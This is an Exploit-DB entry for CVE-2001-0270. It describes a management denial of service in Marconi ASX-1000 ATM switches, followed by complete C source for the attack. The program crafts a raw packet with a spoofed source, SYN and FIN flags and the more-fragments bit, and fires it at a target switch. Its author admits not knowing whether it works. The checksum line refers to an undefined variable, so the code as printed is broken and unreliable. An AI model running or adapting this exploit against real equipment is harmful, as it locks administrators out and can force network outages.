标题: Marconi ASX-1000 - Administration Denial of Service EDB-ID: 20644 CVE: 2001-0270 类型: DOS 平台: HARDWARE 发布日期: 2001-02-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2400/info

ASX-1000 Switches are hardware packages developed by Marconi Corporation. ASX-1000 Switches can be used to regulate ATM networks, performing layer-3 switching.

A problem with the switch could allow a management denial of service. The problem occurs in the handling of arbitrary packets with both the SYN-FIN flags set, and fragments. By sending packets of this nature, the services listening on the switch enter close_wait status, and do not reset until the port is reset or the switch is power cycled.

This makes it possible for a malicious user to deny administrative access to a switch, and potentially create a network interruption by creating a neccessity to power cycle the switch.

This problem affects firmware Forethought 6.2. 

/*
This DoS attack was discovered by Keith Pachulski and written by J.K. Garvey. This simple program sets the SYN, FIN and More Fragment bits and sends this crafted packet from a spoofed host to a destined Fore/Marconi ASX switch, which causes it to crash. I have no idea if this works, but it does what Keith Pachulski described. 
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define IP_MF 0x2000  /* More fragment bits */

void                forge (unsigned int, unsigned int, unsigned short); 
unsigned short      in_cksum (unsigned short *, int);
unsigned int        host_convert (char *);
void                usage (char *);

main (int argc, char **argv)
{
 unsigned int        source_host = 0, dest_host = 0;
 unsigned short      source_port = 0, dest_port = 80;
 int                 input;
 char                desthost[16], srchost[16];

 printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n");
 printf
  ("Found by Keith Pachulski <keithp@corp.ptd.net>\nExploit written by J.K. Garvey <jim@trig.org>\n");

 if (getuid () != 0)
 {
  printf
   ("\nRoot is required. Duh.\n");
  exit (0);
 }

 if (argc < 5)
 {
  usage (argv[0]);
  exit (0);
 }

        while ((input = getopt (argc, argv, "s:d:p:")) != -1)
 {
  switch (input)
  {
   case 's':
    source_host = host_convert (optarg);
    strncpy (srchost, optarg, 16);
   break;

   case 'd':
    dest_host = host_convert (optarg);
    strncpy (desthost, optarg, 16);
   break;

   case 'p':
    dest_port = atoi(optarg);
   break;
  }
 }

 forge (source_host, dest_host, dest_port); 
 printf ("\nCrafted packet sent!\n");

 exit (0);
}

void
forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port) 
{
 struct send
 {
  struct iphdr        ip;
  struct tcphdr       tcp;
 }
 send;

 /* From synhose.c by knight */
 struct pseudo_header
 {
  unsigned int        source_address;
  unsigned int        dest_address;
  unsigned char       placeholder;
  unsigned char       protocol;
  unsigned short      tcp_length;
  struct tcphdr       tcp;
 }
 pseudo_header;

 int                 ch;
 int                 send_socket;
 int                 recv_socket;
 struct sockaddr_in  sin;
 char               *input;

 srand ((getpid ()) * (dest_port));

 /* Begin forged IP header */
 send.ip.ihl = 5;
 send.ip.version = 4;
 send.ip.tos = 0;
 send.ip.tot_len = htons (40);
 send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0));

 /* Note more fragments bit has been set */
 send.ip.frag_off = htons (IP_MF);

 send.ip.ttl = 64;
 send.ip.protocol = IPPROTO_TCP;
 send.ip.check = 0;
 send.ip.saddr = source_addr;
 send.ip.daddr = dest_addr;

 /* Begin forged TCP header */
 send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0));
 send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0));

 send.tcp.dest = htons (dest_port);
 send.tcp.ack_seq = 0;
 send.tcp.res1 = 0;
 send.tcp.doff = 5;

 /* Note FIN and SYN flags are set */
 send.tcp.fin = 1;
 send.tcp.syn = 1;

 send.tcp.rst = 0;
 send.tcp.psh = 0;
 send.tcp.ack = 0;
 send.tcp.urg = 0;
 send.tcp.window = htons (512);
 send.tcp.check = 0;
 send.tcp.urg_ptr = 0;

 /* Drop our forged data into the socket struct */
 sin.sin_family = AF_INET;
 sin.sin_port = send.tcp.source;
 sin.sin_addr.s_addr = send.ip.daddr;

 /* Now open the raw socket for sending */
 send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
 if (send_socket < 0)
 {
  perror ("Send socket cannot be opened.");
  exit (1);
 }

 /* Make IP header checksum */
 send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20);

 /* Final preparation of the full header */

 /* From synhose.c by knight */
 pseudo_header.source_address = send.ip.saddr;
 pseudo_header.dest_address = send.ip.daddr;
 pseudo_header.placeholder = 0;
 pseudo_header.protocol = IPPROTO_TCP;
 pseudo_header.tcp_length = htons (20);

 bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20);
 /* Final checksum on the entire package */
 send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32);
 /* Away we go.... */
 sendto (send_socket, &send, 40, 0,
  (struct sockaddr *) &sin, sizeof (sin));
 close (send_socket);
}

unsigned short
in_cksum (unsigned short *ptr, int nbytes)
{
 register long       sum; /* assumes long == 32 bits */
 u_short             oddbyte;
 register u_short    answer; /* assumes u_short == 16 bits */

 sum = 0;
 while (nbytes > 1)
 {
  sum += *ptr++;
  nbytes -= 2;
 }

 if (nbytes == 1)
 {
  oddbyte = 0; /* make sure top half is zero */
  *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
  sum += oddbyte;
 }

 sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
 sum += (sum >> 16); /* add carry */
 answer = ~sum;  /* ones-complement, then truncate to 16 bits */
 return (answer);
}

unsigned int
host_convert (char *hostname)
{
 static struct in_addr i;
 struct hostent     *h;

 i.s_addr = inet_addr (hostname);
 if (i.s_addr == -1)
 {
  h = gethostbyname (hostname);
  if (h == NULL)
  {
   fprintf (stderr, "cannot resolve %s\n", hostname);
   exit (0);
  }
  bcopy (h->h_addr, (char *) &i.s_addr, h->h_length);
 }
 return i.s_addr;
}

void
usage (char *progname)
{
 printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n",
  progname);
} URL: https://www.exploit-db.com/exploits/20644